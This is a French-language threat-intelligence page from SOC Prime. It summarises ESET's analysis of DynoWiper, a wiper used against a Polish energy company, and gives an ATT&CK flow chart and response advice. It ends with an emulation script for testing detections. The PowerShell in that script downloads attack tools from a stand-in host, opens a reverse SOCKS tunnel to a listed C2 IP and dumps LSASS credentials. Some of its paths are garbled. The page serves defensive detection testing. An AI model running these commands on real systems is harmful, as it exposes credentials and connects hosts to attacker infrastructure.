SOC Prime Bias: Critique

04 Fév 2026 18:19

Mise à jour de la recherche ESET sur DynoWiper : Analyse technique et attribution

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Mise à jour de la recherche ESET sur DynoWiper : Analyse technique et attribution
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

DynoWiper est un wiper destructeur utilisé contre une organisation du secteur énergétique en Pologne, affectant plusieurs points de terminaison à travers les opérations. Les exécutables ont été mis en scène dans un emplacement réseau partagé et lancés directement depuis ce partage. ESET attribue l’activité à Sandworm avec une confiance moyenne. Une fois exécuté, le malware corrompt les fichiers ciblés avec des octets aléatoires et déclenche un redémarrage forcé pour compléter l’impact.

Enquête

ESET a récupéré trois échantillons—schtask.exe, schtask2.exe, et _update.exe—déposés sous C:inetpubpub. Les chemins PDB intégrés suggèrent que les binaires ont été compilés dans un environnement Vagrant. L’ingénierie inverse a révélé une routine d’effacement en trois étapes, avec deux variantes insérant une pause de cinq secondes entre les phases. Les artefacts post-compromission incluaient également l’outil Kerberos Rubeus et un proxy SOCKS5 rsocx au sein du réseau de la victime.

Atténuation

ESET PROTECT sur les systèmes de la victime a bloqué les trois variantes, limitant les dommages. Réduisez l’exposition en empêchant la création de tâches planifiées non autorisées et en surveillant les écritures inattendues dans les répertoires partagés. Ajoutez une liste blanche d’applications et interdisez l’exécution depuis des partages réseau autant que possible.

Réponse

Identifiez et isolez les hôtes qui exécutent schtask.exe, schtask2.exe, ou *_update.exe à partir d’un partage. Préservez les preuves volatiles, examinez les tâches planifiées et les traces de déploiement PowerShell, et retirez les outils tels que Rubeus et rsocx. Complétez une analyse forensique complète et restaurez les données à partir de sauvegardes propres vérifiées.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[« <b>Action</b> – <b>T1105 Transfert d’Outils Entrants</b><br/><b>Description</b> : Des outils supplémentaires tels que Rubeus.exe et rsocx ont été téléchargés dans l’environnement compromis. »] class action_ingress technique tool_rubeus[« <b>Outil</b> – <b>Nom</b> : Rubeus.exe<br/><b>Description</b> : Effectue le vol et l’abus des identifiants Kerberos. »] class tool_rubeus tool tool_rsocx[« <b>Outil</b> – <b>Nom</b> : rsocx<br/><b>Description</b> : Proxy SOCKS5 utilisé pour relayer le trafic de Commandement et Contrôle. »] class tool_rsocx tool action_cred_dump[« <b>Action</b> – <b>T1003.001 Mémoire LSASS</b><br/><b>Description</b> : La mémoire du processus LSASS a été vidée via le Gestionnaire des tâches afin d’obtenir des identifiants. »] class action_cred_dump technique action_powershell[« <b>Action</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b> : Des scripts PowerShell ont été exécutés pour déployer des binaires malveillants et faciliter les actions ultérieures. »] class action_powershell technique action_cmd[« <b>Action</b> – <b>T1059.003 Interpréteur de Commandes Windows</b><br/><b>Description</b> : cmd.exe a été utilisé pour exécuter des commandes et orchestrer le wiper. »] class action_cmd technique action_gpo_discovery[« <b>Action</b> – <b>T1615 Découverte des Stratégies de Groupe</b><br/><b>Description</b> : Les objets de stratégie de groupe ont été identifiés pour préparer un déploiement à grande échelle. »] class action_gpo_discovery technique action_gpo_modify[« <b>Action</b> – <b>T1484 Modification des Stratégies de Domaine ou de Locataire</b><br/><b>Description</b> : Les stratégies de groupe ont été modifiées afin de distribuer le binaire DynoWiper à l’échelle du domaine. »] class action_gpo_modify technique action_schtask[« <b>Action</b> – <b>T1053 Tâche Planifiée</b><br/><b>Description</b> : Des tâches planifiées ont été créées avec schtask.exe pour assurer la persistance de l’exécution du wiper. »] class action_schtask technique action_data_removable[« <b>Action</b> – <b>T1025 Données à partir de Supports Amovibles</b><br/><b>Description</b> : Les outils et le wiper ont été placés dans le répertoire réseau partagé C:\\inetpub\\pub\\. »] class action_data_removable technique action_file_discovery[« <b>Action</b> – <b>T1083 Découverte de Fichiers et Répertoires</b><br/><b>Description</b> : Les fichiers et répertoires ont été énumérés sur les disques fixes et amovibles en excluant les dossiers système. »] class action_file_discovery technique action_wipe[« <b>Action</b> – <b>T1561.001 Effacement du Contenu du Disque</b><br/><b>Description</b> : Le contenu des fichiers a été écrasé avec des données aléatoires, supprimant ou corrompant les données. »] class action_wipe technique action_reboot[« <b>Action</b> – <b>T1529 Arrêt ou Redémarrage du Système</b><br/><b>Description</b> : Un redémarrage forcé a été effectué après l’effacement afin de finaliser la destruction. »] class action_reboot technique action_proxy[« <b>Action</b> – <b>T1090.002 Proxy Externe</b><br/><b>Description</b> : rsocx a été configuré pour utiliser le proxy SOCKS5 externe 31.172.71.5:8008 afin de masquer le trafic de Commandement et Contrôle. »] class action_proxy technique malware_dyno[« <b>Malware</b> – <b>Nom</b> : DynoWiper<br/><b>Description</b> : Charge utile destructrice qui écrase les données et déclenche un redémarrage du système. »] class malware_dyno malware %% Connections action_ingress –>|télécharge| tool_rubeus action_ingress –>|télécharge| tool_rsocx tool_rubeus –>|permet| action_cred_dump tool_rsocx –>|fournit| action_proxy action_cred_dump –>|fournit des identifiants à| action_powershell action_powershell –>|exécute| action_cmd action_cmd –>|orchestre| action_wipe action_gpo_discovery –>|mène à| action_gpo_modify action_gpo_modify –>|distribue| malware_dyno action_schtask –>|crée une tâche pour| malware_dyno action_data_removable –>|stocke| tool_rubeus action_data_removable –>|stocke| tool_rsocx action_data_removable –>|stocke| malware_dyno malware_dyno –>|exécute| action_file_discovery malware_dyno –>|exécute| action_wipe action_wipe –>|déclenche| action_reboot action_proxy –>|relaie le trafic pour| malware_dyno

Flux d’Attaque

Exécution de Simulation

Prérequis : La Vérification de Télémétrie et de Baseline Pré-vol doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à un mauvais diagnostic.

  • Récit d’Attaque & Commandes:

    1. Établir un proxy SOCKS5 inversé en utilisant rsocx.exe. L’adversaire télécharge le binaire depuis un serveur externe, le place dans %TEMP%, et l’exécute avec l’argument -r 31.172.71.5:8008 pour créer un tunnel inverse vers l’hôte C2.
    2. Abuser des tickets Kerberos avec rubeus.exe. L’outil est exécuté pour demander un ticket-grant de ticket Kerberos (TGT) pour le compte de l’administrateur du domaine et ensuite forger un ticket de service (s4u2self).
    3. Faire un dump de mémoire LSASS en utilisant procdump.exe (une alternative courante au Gestionnaire de tâches) pour capturer le matériel d’identification. Sysmon enregistre un événement d’Accès au Processus où le processus de l’attaquant procdump.exe accède à lsass.exe avec le masque d’accès accordé 0x1010 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
  • Script de Test de Régression :

    # -------------------------------------------------------------
    # Script de simulation – déclenche la règle Sigma pour rsocx, rubeus,
    # et dump LSASS. Exécutez avec des privilèges administratifs.
    # -------------------------------------------------------------
    
    # 1. Déployez rsocx.exe (proxy SOCKS5 inversé)
    $rsocxPath = "$env:TEMPrsocx.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath
    Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden
    
    # 2. Déployez rubeus.exe (abus de Kerberos)
    $rubeusPath = "$env:TEMPrubeus.exe"
    Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath
    Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden
    
    # 3. Faire un dump de LSASS using procdump (requiert Sysinternals)
    $procdumpPath = "$env:TEMPprocdump.exe"
    Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip"
    Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force
    $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1
    if ($procdumpExe) {
        Copy-Item $procdumpExe.FullName $procdumpPath -Force
        Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait
    }
    
    Write-Host "Simulation completed. Check SIEM for alerts."
  • Commandes de Nettoyage :

    # Terminer tous les processus malveillants persistants
    Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Supprimer les binaires et les fichiers dump
    Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue
    
    # Optionnellement, supprimer les répertoires de téléchargement temporaires
    Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "Cleanup finished."